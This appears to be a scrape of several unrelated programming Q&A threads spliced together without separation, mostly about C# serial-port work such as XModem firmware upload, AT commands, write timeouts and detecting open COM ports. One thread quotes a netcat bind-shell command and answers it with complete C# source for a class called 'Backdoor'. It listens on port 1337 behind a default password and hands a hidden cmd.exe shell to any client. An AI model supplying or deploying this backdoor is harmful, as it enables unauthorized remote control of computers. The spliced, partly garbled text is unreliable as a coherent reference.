I recently developing a .Net Console app that could communicate with sas Expander card.
Here comes a problem.
I want to use my console app to update firmware in card.
I have already known It could be update via Xmodem protocol
and It could be successful by using ExtraPuTTy.
After sending fwdl command in ExtraPuTTy:
After sending y command in ExtraPuTTy:
Choose File Transfer and send
After transfer, card will restart and give a response bp1>
The SAS card was connected to RS232 port.
The firmware file's extension is .FW.
What I try in my .Net code:
using System;
using System.Collections.Generic;
using System.IO.Ports;
using System.Windows.Forms;
using System.Text;
using System.IO;
namespace ConsoleApp3
{
class Program
{
[STAThread]
static void Main()
{
string[] ports = SerialPort.GetPortNames();
string com = "";
Console.WriteLine("The following serial ports were found:");
foreach (string port in ports)
{
Console.WriteLine(port);
Console.WriteLine("Please choose which port name you want ?");
com = Console.ReadLine();
}
SerialPort mySerialPort = new SerialPort(com);
mySerialPort.BaudRate = 115200;
mySerialPort.Parity = Parity.None;
mySerialPort.StopBits = StopBits.One;
mySerialPort.DataBits = 8;
mySerialPort.Handshake = Handshake.None;
mySerialPort.RtsEnable = true;
mySerialPort.DtrEnable = true;
mySerialPort.ReadTimeout = 500000;
mySerialPort.WriteTimeout = 1500;
mySerialPort.NewLine = "\r";
mySerialPort.Open();
if (mySerialPort.IsOpen)
{
mySerialPort.Write("\r");
}
List<string> Commands = new List<string>();
string command = "";
int counter = 0;
mySerialPort.DataReceived += new SerialDataReceivedEventHandler(DataReceivedHandler);
while (true)
{
ConsoleKeyInfo consoleInput = Console.ReadKey();
if (consoleInput.KeyChar == '\r')
{
Commands.Add(command);
counter = Commands.Count - 1;
mySerialPort.Write(command + "\r");
if (command == "fwdl")
{
ClearCurrentConsoleLine();
}
if (command == "y")
{
String FileName = "";
OpenFileDialog openfile1 = new OpenFileDialog();
if (openfile1.ShowDialog() == DialogResult.OK)
{
FileName = openfile1.FileName;
}
}
ClearCurrentConsoleLine();
command = "";
}
else if (consoleInput.Key == ConsoleKey.UpArrow)
{
if ((counter >= 0) && (counter < Commands.Count))
{
ClearCurrentConsoleLine();
Console.Write(Commands[counter]);
foreach (string obj in Commands)
{
command = obj;
}
if (consoleInput.KeyChar == '\r')
{
Commands.Add(command);
counter = Commands.Count - 1;
mySerialPort.Write(command + "\r");
ClearCurrentConsoleLine();
command = "";
}
}
if (counter > 0)
{
counter--;
}
else
{
counter = Commands.Count - 1;
}
}
else
{
command += consoleInput.KeyChar.ToString();
}
}
}
private static void DataReceivedHandler(object sender, SerialDataReceivedEventArgs e)
{
SerialPort sp = (SerialPort)sender;
string indata = sp.ReadExisting(); // it might be better to use --> string indata = sp.ReadLine();
Console.Write(indata);
}
private static void ClearCurrentConsoleLine()
{
int currentLineCursor = Console.CursorTop;
Console.SetCursorPosition(6, Console.CursorTop);
Console.Write(new string(' ', Console.WindowWidth));
Console.SetCursorPosition(6, currentLineCursor);
}
}
}
I only find firmware file and store firmware file's name in variable.
I try to search XModem c# in Github.
What I found is https://github.com/yang-chanhong/XModem.
I am not sure that code could use in my console app.
Are there any 3rd-party libraries for XModem in .Net that could help update firmware?
My console app is using .Net Framework 4.7.2.
..........................................................
Update 1:
After I add app1.config file in my app
and copy the configuration in the XmodeProtocol,
I typed using XModemProtocol; in Program.cs.
The error showed up:
Looks like XmodeProtocol
's configuration isn't clear enough to realize.
Is there something I missed from the XmodeProtocol 's README.md?
......................................................
Update 2:
I downloaded the source code on XmodeProtocol
and click add reference.
Choose Project Selection and press Browse Button.
I didn't see the Component Files.
What should I do next to add project as reference?
I am working with BC66 modem from Quectel. On my program when I type some AT commands to the modem it can not show the entire response from the modem, but instead the reply of the AT command. see figur below:
Instead using an terminal program and type the AT commands i got the status of my request. See figure below:
This is what I am expecting in my program, but unfortunately not happened.
The code snip:
static void Main(string[] args)
{
if (InitPort() == true)
{
Console.WriteLine("Port initialized");
TestAT();
}
}
private static void SerialPort_DataReceived(object sender, SerialDataReceivedEventArgs e)
{
byte[] data = new byte[serialPort.BytesToRead];
serialPort.Read(data, 0, data.Length);
Console.WriteLine(Encoding.ASCII.GetString(data));
//Console.WriteLine(serialPort.ReadExisting());
}
private static void TestAT()
{
for (int i = 0; i < 10; i++)
{
serialPort.Write("at");
Thread.Sleep(2000);
serialPort.Write("at+cereg");
Thread.Sleep(2000);
}
}
private static bool InitPort()
{
serialPort.PortName = "COM51";
serialPort.BaudRate = 115200;
serialPort.DataBits = 8;
serialPort.Parity = Parity.None;
serialPort.StopBits = StopBits.One;
serialPort.DataReceived += SerialPort_DataReceived;
try
{
serialPort.Open();
return true;
}
catch
{
return false;
}
}
Any suggestion on what is wrong?
As you can see here on page 7 you need to finish your commands with <CR><LF>.
The “AT” or “at” prefix must be set at the beginning of each command
line. Entering <CR> will terminate a command line.
in C# the equivalent is \r\n
As #Mong Zhu pointed out, you can achieve that by using
serialPort.WriteLine("at");
I am interested in writing a program which can do something like netcats "nc -L -d -p -t -e cmd.exe" command. So it provides a remote shell that is. I have tried piping output and input from and to cmd.exe and sending and receiving it over a socket but it doesn't really seem to work well. Are there any other ways to do it? I am programming in C# by the way.
This is some test code I wrote to test if I could make my own "shell". The output of this is what should be sent over a socket. The program, however, halts when it becomes time to read the output. This is only remedied by using the .readline() method, but I dont know how to detect when it should not read anymore lines.
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.Start();
StreamReader sr = p.StandardOutput;
StreamWriter sw = p.StandardInput;
while (true)
{
Console.Write(">> ");
string cmd = Console.ReadLine();
sw.WriteLine(cmd);
var resp = sr.ReadLine();
Console.WriteLine(resp);
}
Thanks.
Not sure if you still care about this but this may help you:
This is a C# Remote Shell
/*****************************************************************
*
* Created By DT
*
* ***************************************************************/
using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
namespace BackdoorServer
{
public class Backdoor
{
private TcpListener listener; //ServerSocket object for listening
private Socket mainSocket; //Socket to handle client-server communication
private int port; //Port the server listens on
private String name; //The server name
private String password; //The server password
private bool verbose = true; //Displays messages in console if True
private Process shell; //The shell process
private StreamReader fromShell;
private StreamWriter toShell;
private StreamReader inStream;
private StreamWriter outStream;
private Thread shellThread; //So we can destroy the Thread when the client disconnects
private static int DEFAULT_PORT = 1337; //Default port to listen on if one isn't declared
private static String DEFAULT_NAME = "Server"; //Default name of server if one isn't declared
private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared
public Backdoor()
{ //Use default settings
port = DEFAULT_PORT;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p)
{ //Define port only
port = p;
name = DEFAULT_NAME;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n)
{ //Define port and server name
port = p;
name = n;
password = DEFAULT_PASS;
}
public Backdoor(int p, String n, String pass)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
}
public Backdoor(int p, String n, String pass, bool verb)
{ //Define port, server name, and password
port = p;
name = n;
password = pass;
verbose = verb;
}
////////////////////////////////////////////////////////////////////////
//the startServer method waits for a connection, checks the password,
//and either drops the client or starts a remote shell
////////////////////////////////////////////////////////////////////////
public void startServer() {
try {
if(verbose)
Console.WriteLine("Listening on port " + port);
//Create the ServerSocket
listener = new TcpListener(port);
listener.Start(); //Stop and wait for a connection
mainSocket = listener.AcceptSocket();
if(verbose)
Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
Stream s = new NetworkStream(mainSocket);
inStream = new StreamReader(s);
outStream = new StreamWriter(s);
outStream.AutoFlush = true;
String checkPass = inStream.ReadLine();
if(verbose)
Console.WriteLine("Client tried password " + checkPass);
if(!checkPass.Equals(password)) { //if the password is not correct
if(verbose)
Console.WriteLine("Incorrect Password");
badPass(); //Drop the client
return;
}
if(verbose)
Console.WriteLine("Password Accepted.");
shell = new Process();
ProcessStartInfo p = new ProcessStartInfo("cmd");
p.CreateNoWindow = true;
p.UseShellExecute = false;
p.RedirectStandardError = true;
p.RedirectStandardInput = true;
p.RedirectStandardOutput = true;
shell.StartInfo = p;
shell.Start();
toShell = shell.StandardInput;
fromShell = shell.StandardOutput;
toShell.AutoFlush = true;
shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell
shellThread.Start();
outStream.WriteLine("Welcome to " + name + " backdoor server."); //Display a welcome message to the client
outStream.WriteLine("Starting shell...\n");
getInput(); //Prepare to monitor client input...
dropConnection(); //When getInput() is terminated the program will come back here
}
catch(Exception) { dropConnection(); }
}
//////////////////////////////////////////////////////////////////////////////////////////////
//The run method handles shell output in a seperate thread
//////////////////////////////////////////////////////////////////////////////////////////////
void getShellInput()
{
try
{
String tempBuf = "";
outStream.WriteLine("\r\n");
while ((tempBuf = fromShell.ReadLine()) != null)
{
outStream.WriteLine(tempBuf + "\r");
}
dropConnection();
}
catch (Exception) { /*dropConnection();*/ }
}
private void getInput() {
try {
String tempBuff = ""; //Prepare a string to hold client commands
while(((tempBuff = inStream.ReadLine()) != null)) { //While the buffer is not null
if(verbose)
Console.WriteLine("Received command: " + tempBuff);
handleCommand(tempBuff); //Handle the client's commands
}
}
catch(Exception) {}
}
private void handleCommand(String com) { //Here we can catch commands before they are sent
try { //to the shell, so we could write our own if we want
if(com.Equals("exit")) { //In this case I catch the 'exit' command and use it
outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
dropConnection(); //to drop the connection
}
toShell.WriteLine(com + "\r\n");
}
catch(Exception) { dropConnection(); }
}
////////////////////////////////////////////////////////////////////
//The drop connection method closes all connections and
//resets the objects to their null states to be created again
//I don't know if this is the best way to do it but it seems to
//work without issue.
////////////////////////////////////////////////////////////////////
private void badPass()
{
inStream.Dispose();
outStream.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
private void dropConnection() {
try {
if(verbose)
Console.WriteLine("Dropping Connection");
shell.Close();
shell.Dispose();
shellThread.Abort();
shellThread = null;
inStream.Dispose(); //Close everything...
outStream.Dispose();
toShell.Dispose();
fromShell.Dispose();
shell.Dispose();
mainSocket.Close();
listener.Stop();
return;
}
catch(Exception) {}
}
static void Main(string[] args)
{
try {
Backdoor bd = new Backdoor();
if (args.Length == 1)
bd = new Backdoor(int.Parse(args[0]));
if (args.Length == 2)
bd = new Backdoor(int.Parse(args[0]), args[1]);
if (args.Length == 3)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
else if (args.Length == 4)
bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
while (true)
{
bd.startServer();
}
}
catch(Exception) {}
}
}
}
I have to write a program that writes on a serial port but sometimes the call to the Write method hangs and the WriteTimeout is never fired so my program hangs indefinitely.
Here is the port creation code:
void DetectX1BackgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
String[] ports = SerialPort.GetPortNames();
int i = 0;
foreach (string PortName in ports)
{
try
{
Console.WriteLine("Trying to open:" + PortName);
SerialPort port = openSerial(PortName);
Console.WriteLine("Port is open:" + PortName);
port.DataReceived += new SerialDataReceivedEventHandler(port_DataReceived);
port.Write("$ST+IMEI=0000\r\n");
if (IMEIFoundEvent.WaitOne(250))
{
Console.WriteLine("IMEI Found:[" + imei + "]");
if (addresses.ContainsKey(imei))
{
((BackgroundWorker)sender).ReportProgress(0, new X1Model(imei, PortName, addresses[imei]));
}
else
Console.WriteLine("imei not in file: " + imei);
}
port.Close();
}
catch (Exception ex)
{
Console.WriteLine("Erreur port " + PortName + ex.Message);
}
finally
{
i++;
((BackgroundWorker)sender).ReportProgress(i * 100 / ports.Length);
}
}
}
private SerialPort openSerial(string PortName)
{
SerialPort port = new SerialPort(PortName);
port.BaudRate = 57600;
port.DataBits = 8;
port.StopBits = StopBits.One;
port.Parity = Parity.None;
port.ReceivedBytesThreshold = 1;
port.Handshake = Handshake.None;
port.DtrEnable = true;
port.RtsEnable = true;
port.WriteTimeout = 5000;
port.ReadTimeout = 5000;
if (!port.IsOpen)
port.Open();
return port;
}
Is there anything I'm missing ?
I don't know if it's relevant but I'm using Serial To USB Adapters.
Edit: I'm using Windows XP with .Net 4.0. The line doesnt't exceed 50 characters and ends by a EOL character.
I know it's an old question, which you've probably solved by now, but there's no accepted answer yet. I was having the same issue yesterday and seem to have fixed it -- were you setting the Write Timeout?
_serialPort.WriteTimeout = 500;
http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.writetimeout.aspx
You also need to set the PortName. You can get the list of ports from GetPortNames. This will typically be like COM1 or COM2
Is there an easy way of programmatically checking if a serial COM port is already open/being used?
Normally I would use:
try
{
// open port
}
catch (Exception ex)
{
// handle the exception
}
However, I would like to programatically check so I can attempt to use another COM port or some such.
I needed something similar some time ago, to search for a device.
I obtained a list of available COM ports and then simply iterated over them, if it didn't throw an exception i tried to communicate with the device. A bit rough but working.
var portNames = SerialPort.GetPortNames();
foreach(var port in portNames) {
//Try for every portName and break on the first working
}
This is how I did it:
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern SafeFileHandle CreateFile(string lpFileName, int dwDesiredAccess, int dwShareMode, IntPtr securityAttrs, int dwCreationDisposition, int dwFlagsAndAttributes, IntPtr hTemplateFile);
then later on
int dwFlagsAndAttributes = 0x40000000;
var portName = "COM5";
var isValid = SerialPort.GetPortNames().Any(x => string.Compare(x, portName, true) == 0);
if (!isValid)
throw new System.IO.IOException(string.Format("{0} port was not found", portName));
//Borrowed from Microsoft's Serial Port Open Method :)
SafeFileHandle hFile = CreateFile(#"\\.\" + portName, -1073741824, 0, IntPtr.Zero, 3, dwFlagsAndAttributes, IntPtr.Zero);
if (hFile.IsInvalid)
throw new System.IO.IOException(string.Format("{0} port is already open", portName));
hFile.Close();
using (var serialPort = new SerialPort(portName, 115200, Parity.None, 8, StopBits.One))
{
serialPort.Open();
}
For people that cannot use SerialPort.GetPortNames(); because they are not targeting .net framework (like in my case I am using .Net Core and NOT .Net Framework) here is what I ended up doing:
In command prompt if you type mode you get something like this:
mode is an executable located at C:\Windows\System32\mode.com. Just parse the results of that executable with a regex like this:
// Code that answers the question
var proc = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = #"C:\Windows\System32\mode.com",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
}
};
proc.Start();
proc.WaitForExit(4000); // wait up to 4 seconds. It usually takes less than a second
// get ports being used
var output = proc.StandardOutput.ReadToEnd();
Now if you want to parse the output this is how I do it:
List<string> comPortsBeingUsed = new List<string>();
Regex.Replace(output, #"(?xi) status [\s\w]+? (COM\d) \b ", regexCapture =>
{
comPortsBeingUsed.Add(regexCapture.Groups[1].Value);
return null;
});
foreach(var item in comPortsBeingUsed)
{
Console.WriteLine($"COM port {item} is in use");
}
I wanted to open the next available port and did it like this.
Please note, is it not for WPF but for Windows Forms.
I populated a combobox with the com ports available.
Then I try to open the first one. If it fails, I select the next available item from the combobox. If the selected index did not change in the end, there were no alternate com ports available and we show a message.
private void GetPortNames()
{
comboBoxComPort.Items.Clear();
foreach (string s in SerialPort.GetPortNames())
{
comboBoxComPort.Items.Add(s);
}
comboBoxComPort.SelectedIndex = 0;
}
private void OpenSerialPort()
{
try
{
serialPort1.PortName = comboBoxComPort.SelectedItem.ToString();
serialPort1.Open();
}
catch (Exception ex)
{
int SelectedIndex = comboBoxComPort.SelectedIndex;
if (comboBoxComPort.SelectedIndex >= comboBoxComPort.Items.Count - 1)
{
comboBoxComPort.SelectedIndex = 0;
}
else
{
comboBoxComPort.SelectedIndex++;
}
if (comboBoxComPort.SelectedIndex == SelectedIndex)
{
buttonOpenClose.Text = "Open Port";
MessageBox.Show("Error accessing port." + Environment.NewLine + ex.Message, "Port Error!!!", MessageBoxButtons.OK);
}
else
{
OpenSerialPort();
}
}
if (serialPort1.IsOpen)
{
StartAsyncSerialReading();
}
}
The SerialPort class has an Open method, which will throw a few exceptions.
The reference above contains detailed examples.
See also, the IsOpen property.
A simple test:
using System;
using System.IO.Ports;
using System.Collections.Generic;
using System.Text;
namespace SerPort1
{
class Program
{
static private SerialPort MyPort;
static void Main(string[] args)
{
MyPort = new SerialPort("COM1");
OpenMyPort();
Console.WriteLine("BaudRate {0}", MyPort.BaudRate);
OpenMyPort();
MyPort.Close();
Console.ReadLine();
}
private static void OpenMyPort()
{
try
{
MyPort.Open();
}
catch (Exception ex)
{
Console.WriteLine("Error opening my port: {0}", ex.Message);
}
}
}
}
Sharing what worked for me (a simple helper method):
private string portName { get; set; } = string.Empty;
/// <summary>
/// Returns SerialPort Port State (Open / Closed)
/// </summary>
/// <returns></returns>
internal bool HasOpenPort()
{
bool portState = false;
if (portName != string.Empty)
{
using (SerialPort serialPort = new SerialPort(portName))
{
foreach (var itm in SerialPort.GetPortNames())
{
if (itm.Contains(serialPort.PortName))
{
if (serialPort.IsOpen) { portState = true; }
else { portState = false; }
}
}
}
}
else { System.Windows.Forms.MessageBox.Show("Error: No Port Specified."); }
return portState;
}
Notes:
- For more advanced technique(s) I recommend using ManagementObjectSearcher Class.
More info Here.
- For Arduino devices I would leave the Port Open.
- Recommend using a Try Catch block if you need to catch exceptions.
- Check also: "TimeoutException"
- More information on how to get SerialPort (Open) Exceptions Here.
public void MobileMessages(string ComNo, string MobileMessage, string MobileNo)
{
if (SerialPort.IsOpen )
SerialPort.Close();
try
{
SerialPort.PortName = ComNo;
SerialPort.BaudRate = 9600;
SerialPort.Parity = Parity.None;
SerialPort.StopBits = StopBits.One;
SerialPort.DataBits = 8;
SerialPort.Handshake = Handshake.RequestToSend;
SerialPort.DtrEnable = true;
SerialPort.RtsEnable = true;
SerialPort.NewLine = Constants.vbCrLf;
string message;
message = MobileMessage;
SerialPort.Open();
if (SerialPort.IsOpen )
{
SerialPort.Write("AT" + Constants.vbCrLf);
SerialPort.Write("AT+CMGF=1" + Constants.vbCrLf);
SerialPort.Write("AT+CMGS=" + Strings.Chr(34) + MobileNo + Strings.Chr(34) + Constants.vbCrLf);
SerialPort.Write(message + Strings.Chr(26));
}
else
("Port not available");
SerialPort.Close();
System.Threading.Thread.Sleep(5000);
}
catch (Exception ex)
{
message.show("The port " + ComNo + " does not exist, change port no ");
}
}
I have been fighting with this problem for a few weeks now. Thanks to the suggestions on here and from the site, https://www.dreamincode.net/forums/topic/91090-c%23-serial-port-unauthorizedaccessexception/ .
I finally came up with a solution that seems to work.
The application I am working on allows a user to connect to a USB device and display data from it.
The Problem I was battling. Along side the application I am writing, I use another serial terminal application for doing my testing. Sometimes I forget to disconnect the COMport being used on the other application. If I do, and try to connect with the application I am writing, I would get an “UnAuthorizedAccessException” error. Along with this exception came some side effects, such as double lines of data being spit out and the application locking up on closing down.
My Solution
Thanks to the advice on here and the other site referenced, this was my solution.
private void checkAndFillPortNameList()
{
SerialPort _testingSerialPort;
AvailablePortNamesFound.Clear();
List<string> availablePortNames = new List<string>();//mySerial.GetAvailablePortNames();
foreach (string portName in SerialPortDataAccess.GetAvailablePortNames())
{
try
{
_testingSerialPort = new SerialPort(portName);
_testingSerialPort.Open();
if (_testingSerialPort.IsOpen)
{
availablePortNames.Add(portName);
_testingSerialPort.Close();
}
}
catch (Exception ex)
{
}
}
availablePortNames.Sort();
AvailablePortNamesFound = new ObservableCollection<string>(availablePortNames);
}
This routine connects to a combobox which holds the available Comports for selection. If a Comport is already, in use by another application, that port name will not appear in the combo box.
You can try folloing code to check whether a port already open or not. I'm assumming you dont know specificaly which port you want to check.
foreach (var portName in Serial.GetPortNames()
{
SerialPort port = new SerialPort(portName);
if (port.IsOpen){
/** do something **/
}
else {
/** do something **/
}
}